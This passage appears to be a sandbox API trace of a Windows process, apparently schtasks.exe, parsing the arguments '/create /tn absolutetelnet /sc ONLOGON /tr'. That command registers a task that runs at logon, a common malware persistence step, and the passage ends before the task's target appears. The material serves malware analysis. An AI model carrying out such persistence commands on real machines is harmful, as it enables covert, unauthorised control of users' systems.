lpString2="PARSER2", cchCount2=-1) returned 2 [0129.824] lstrlenW (lpString="create") returned 6 [0129.824] GetThreadLocale () returned 0x409 [0129.824] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.824] lstrlenW (lpString="delete") returned 6 [0129.824] GetThreadLocale () returned 0x409 [0129.824] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.824] lstrlenW (lpString="query") returned 5 [0129.824] GetThreadLocale () returned 0x409 [0129.824] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.824] lstrlenW (lpString="change") returned 6 [0129.824] GetThreadLocale () returned 0x409 [0129.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.825] lstrlenW (lpString="run") returned 3 [0129.825] GetThreadLocale () returned 0x409 [0129.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.825] lstrlenW (lpString="end") returned 3 [0129.825] GetThreadLocale () returned 0x409 [0129.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.825] lstrlenW (lpString="showsid") returned 7 [0129.825] GetThreadLocale () returned 0x409 [0129.825] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.825] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.825] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.825] lstrlenW (lpString="/create") returned 7 [0129.825] lstrlenW (lpString="-/") returned 2 [0129.825] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.825] lstrlenW (lpString="?") returned 1 [0129.825] lstrlenW (lpString="?") returned 1 [0129.825] GetProcessHeap () returned 0x1157a5a0000 [0129.825] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a42d0 [0129.825] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.825] GetProcessHeap () returned 0x1157a5a0000 [0129.825] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xa) returned 0x1157a5a42f0 [0129.825] lstrlenW (lpString="create") returned 6 [0129.825] GetProcessHeap () returned 0x1157a5a0000 [0129.826] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a4310 [0129.826] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.826] GetProcessHeap () returned 0x1157a5a0000 [0129.826] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x14) returned 0x1157a5a4330 [0129.826] _vsnwprintf (in: _Buffer=0x1157a5a42f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|?|") returned 3 [0129.826] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.826] lstrlenW (lpString="|?|") returned 3 [0129.826] lstrlenW (lpString="|create|") returned 8 [0129.826] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.826] lstrlenW (lpString="create") returned 6 [0129.826] lstrlenW (lpString="create") returned 6 [0129.826] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.826] GetProcessHeap () returned 0x1157a5a0000 [0129.826] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a42f0) returned 1 [0129.826] GetProcessHeap () returned 0x1157a5a0000 [0129.826] RtlReAllocateHeap (Heap=0x1157a5a0000, Flags=0xc, Ptr=0x1157a5a42f0, Size=0x14) returned 0x1157a5a4350 [0129.826] lstrlenW (lpString="create") returned 6 [0129.826] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.826] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.826] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.826] lstrlenW (lpString="|create|") returned 8 [0129.827] lstrlenW (lpString="|create|") returned 8 [0129.827] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.827] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.827] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.827] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.827] lstrlenW (lpString="/tn") returned 3 [0129.827] lstrlenW (lpString="-/") returned 2 [0129.827] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.827] lstrlenW (lpString="?") returned 1 [0129.827] lstrlenW (lpString="?") returned 1 [0129.827] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.827] lstrlenW (lpString="tn") returned 2 [0129.827] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.827] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|?|") returned 3 [0129.827] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.827] lstrlenW (lpString="|?|") returned 3 [0129.827] lstrlenW (lpString="|tn|") returned 4 [0129.827] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.827] lstrlenW (lpString="create") returned 6 [0129.827] lstrlenW (lpString="create") returned 6 [0129.827] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.827] lstrlenW (lpString="tn") returned 2 [0129.828] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.828] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.828] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.828] lstrlenW (lpString="|create|") returned 8 [0129.828] lstrlenW (lpString="|tn|") returned 4 [0129.828] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.828] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.828] lstrlenW (lpString="delete") returned 6 [0129.828] lstrlenW (lpString="delete") returned 6 [0129.828] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.828] lstrlenW (lpString="tn") returned 2 [0129.828] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.828] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|delete|") returned 8 [0129.828] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.828] lstrlenW (lpString="|delete|") returned 8 [0129.828] lstrlenW (lpString="|tn|") returned 4 [0129.828] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0129.828] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.828] lstrlenW (lpString="query") returned 5 [0129.828] lstrlenW (lpString="query") returned 5 [0129.828] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.828] lstrlenW (lpString="tn") returned 2 [0129.828] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.828] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|query|") returned 7 [0129.829] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.829] lstrlenW (lpString="|query|") returned 7 [0129.829] lstrlenW (lpString="|tn|") returned 4 [0129.829] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0129.829] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.829] lstrlenW (lpString="change") returned 6 [0129.829] lstrlenW (lpString="change") returned 6 [0129.829] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.829] lstrlenW (lpString="tn") returned 2 [0129.829] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.829] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|change|") returned 8 [0129.829] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.829] lstrlenW (lpString="|change|") returned 8 [0129.829] lstrlenW (lpString="|tn|") returned 4 [0129.829] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0129.829] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.829] lstrlenW (lpString="run") returned 3 [0129.829] lstrlenW (lpString="run") returned 3 [0129.829] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.829] lstrlenW (lpString="tn") returned 2 [0129.829] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.829] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|run|") returned 5 [0129.829] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.830] lstrlenW (lpString="|run|") returned 5 [0129.830] lstrlenW (lpString="|tn|") returned 4 [0129.830] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0129.830] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.830] lstrlenW (lpString="end") returned 3 [0129.830] lstrlenW (lpString="end") returned 3 [0129.830] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.830] lstrlenW (lpString="tn") returned 2 [0129.830] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.830] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|end|") returned 5 [0129.830] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.830] lstrlenW (lpString="|end|") returned 5 [0129.830] lstrlenW (lpString="|tn|") returned 4 [0129.830] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0129.830] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.830] lstrlenW (lpString="showsid") returned 7 [0129.830] lstrlenW (lpString="showsid") returned 7 [0129.830] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.830] GetProcessHeap () returned 0x1157a5a0000 [0129.830] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4350) returned 1 [0129.830] GetProcessHeap () returned 0x1157a5a0000 [0129.831] RtlReAllocateHeap (Heap=0x1157a5a0000, Flags=0xc, Ptr=0x1157a5a4350, Size=0x16) returned 0x1157a5a4350 [0129.831] lstrlenW (lpString="tn") returned 2 [0129.831] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.831] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|showsid|") returned 9 [0129.831] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tn|") returned 4 [0129.831] lstrlenW (lpString="|showsid|") returned 9 [0129.831] lstrlenW (lpString="|tn|") returned 4 [0129.831] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0129.831] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.831] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.831] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.831] lstrlenW (lpString="/tn") returned 3 [0129.831] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0129.831] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.831] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.831] lstrlenW (lpString="/tn") returned 3 [0129.831] GetProcessHeap () returned 0x1157a5a0000 [0129.831] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x8) returned 0x1157a5a42f0 [0129.831] GetProcessHeap () returned 0x1157a5a0000 [0129.831] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab3f0 [0129.831] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.831] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.831] lstrlenW (lpString="absolutetelnet") returned 14 [0129.831] lstrlenW (lpString="-/") returned 2 [0129.832] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0129.832] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.832] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.832] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.832] lstrlenW (lpString="absolutetelnet") returned 14 [0129.832] StrChrIW (lpStart="absolutetelnet", wMatch=0x3a) returned 0x0 [0129.832] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.832] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.832] lstrlenW (lpString="absolutetelnet") returned 14 [0129.832] GetProcessHeap () returned 0x1157a5a0000 [0129.832] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x1e) returned 0x1157a5ab990 [0129.832] GetProcessHeap () returned 0x1157a5a0000 [0129.832] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab540 [0129.832] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.832] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.832] lstrlenW (lpString="/sc") returned 3 [0129.832] lstrlenW (lpString="-/") returned 2 [0129.832] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.832] lstrlenW (lpString="?") returned 1 [0129.832] lstrlenW (lpString="?") returned 1 [0129.832] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.832] lstrlenW (lpString="sc") returned 2 [0129.832] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.832] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|?|") returned 3 [0129.832] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.833] lstrlenW (lpString="|?|") returned 3 [0129.833] lstrlenW (lpString="|sc|") returned 4 [0129.833] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.833] lstrlenW (lpString="create") returned 6 [0129.833] lstrlenW (lpString="create") returned 6 [0129.833] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.833] lstrlenW (lpString="sc") returned 2 [0129.833] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.833] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.833] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.833] lstrlenW (lpString="|create|") returned 8 [0129.833] lstrlenW (lpString="|sc|") returned 4 [0129.833] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.833] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.833] lstrlenW (lpString="delete") returned 6 [0129.833] lstrlenW (lpString="delete") returned 6 [0129.833] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.833] lstrlenW (lpString="sc") returned 2 [0129.833] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.833] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|delete|") returned 8 [0129.833] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.833] lstrlenW (lpString="|delete|") returned 8 [0129.834] lstrlenW (lpString="|sc|") returned 4 [0129.834] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0129.834] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.834] lstrlenW (lpString="query") returned 5 [0129.834] lstrlenW (lpString="query") returned 5 [0129.834] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.834] lstrlenW (lpString="sc") returned 2 [0129.834] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.834] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|query|") returned 7 [0129.834] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.834] lstrlenW (lpString="|query|") returned 7 [0129.834] lstrlenW (lpString="|sc|") returned 4 [0129.834] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0129.834] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.834] lstrlenW (lpString="change") returned 6 [0129.834] lstrlenW (lpString="change") returned 6 [0129.834] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.834] lstrlenW (lpString="sc") returned 2 [0129.834] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.838] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|change|") returned 8 [0129.838] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.838] lstrlenW (lpString="|change|") returned 8 [0129.838] lstrlenW (lpString="|sc|") returned 4 [0129.838] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0129.838] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.838] lstrlenW (lpString="run") returned 3 [0129.838] lstrlenW (lpString="run") returned 3 [0129.838] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.838] lstrlenW (lpString="sc") returned 2 [0129.838] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.838] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|run|") returned 5 [0129.838] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.838] lstrlenW (lpString="|run|") returned 5 [0129.839] lstrlenW (lpString="|sc|") returned 4 [0129.839] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0129.839] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.839] lstrlenW (lpString="end") returned 3 [0129.839] lstrlenW (lpString="end") returned 3 [0129.839] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.839] lstrlenW (lpString="sc") returned 2 [0129.839] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.839] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|end|") returned 5 [0129.839] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.839] lstrlenW (lpString="|end|") returned 5 [0129.839] lstrlenW (lpString="|sc|") returned 4 [0129.839] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0129.839] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.839] lstrlenW (lpString="showsid") returned 7 [0129.839] lstrlenW (lpString="showsid") returned 7 [0129.839] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.839] lstrlenW (lpString="sc") returned 2 [0129.839] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.839] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|showsid|") returned 9 [0129.839] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|sc|") returned 4 [0129.839] lstrlenW (lpString="|showsid|") returned 9 [0129.839] lstrlenW (lpString="|sc|") returned 4 [0129.839] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0129.839] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.839] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.839] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.839] lstrlenW (lpString="/sc") returned 3 [0129.839] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0129.839] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.839] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.839] lstrlenW (lpString="/sc") returned 3 [0129.840] GetProcessHeap () returned 0x1157a5a0000 [0129.840] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x8) returned 0x1157a5a3b50 [0129.840] GetProcessHeap () returned 0x1157a5a0000 [0129.840] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab840 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] lstrlenW (lpString="ONLOGON") returned 7 [0129.840] lstrlenW (lpString="-/") returned 2 [0129.840] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] lstrlenW (lpString="ONLOGON") returned 7 [0129.840] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] lstrlenW (lpString="ONLOGON") returned 7 [0129.840] GetProcessHeap () returned 0x1157a5a0000 [0129.840] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x10) returned 0x1157a5a3b70 [0129.840] GetProcessHeap () returned 0x1157a5a0000 [0129.840] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab4e0 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.840] lstrlenW (lpString="/tr") returned 3 [0129.840] lstrlenW (lpString="-/") returned 2 [0129.840] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.840] lstrlenW (lpString="?") returned 1 [0129.840] lstrlenW (lpString="?") returned 1 [0129.840] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.840] lstrlenW (lpString="tr") returned 2 [0129.840] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.841] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|?|") returned 3 [0129.841] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.841] lstrlenW (lpString="|?|") returned 3 [0129.841] lstrlenW (lpString="|tr|") returned 4 [0129.841] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.841] lstrlenW (lpString="create") returned 6 [0129.841] lstrlenW (lpString="create") returned 6 [0129.841] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.841] lstrlenW (lpString="tr") returned 2 [0129.841] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.841] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.841] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.841] lstrlenW (lpString="|create|") returned 8 [0129.841] lstrlenW (lpString="|tr|") returned 4 [0129.841] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.841] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.841] lstrlenW (lpString="delete") returned 6 [0129.841] lstrlenW (lpString="delete") returned 6 [0129.841] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.841] lstrlenW (lpString="tr") returned 2 [0129.841] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.841] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|delete|") returned 8 [0129.841] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.841] lstrlenW (lpString="|delete|") returned 8 [0129.841] lstrlenW (lpString="|tr|") returned 4 [0129.841] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0129.841] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.841] lstrlenW (lpString="query") returned 5 [0129.841] lstrlenW (lpString="query") returned 5 [0129.842] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.842] lstrlenW (lpString="tr") returned 2 [0129.842] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.842] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|query|") returned 7 [0129.842] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.842] lstrlenW (lpString="|query|") returned 7 [0129.842] lstrlenW (lpString="|tr|") returned 4 [0129.842] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0129.842] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.842] lstrlenW (lpString="change") returned 6 [0129.842] lstrlenW (lpString="change") returned 6 [0129.842] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.842] lstrlenW (lpString="tr") returned 2 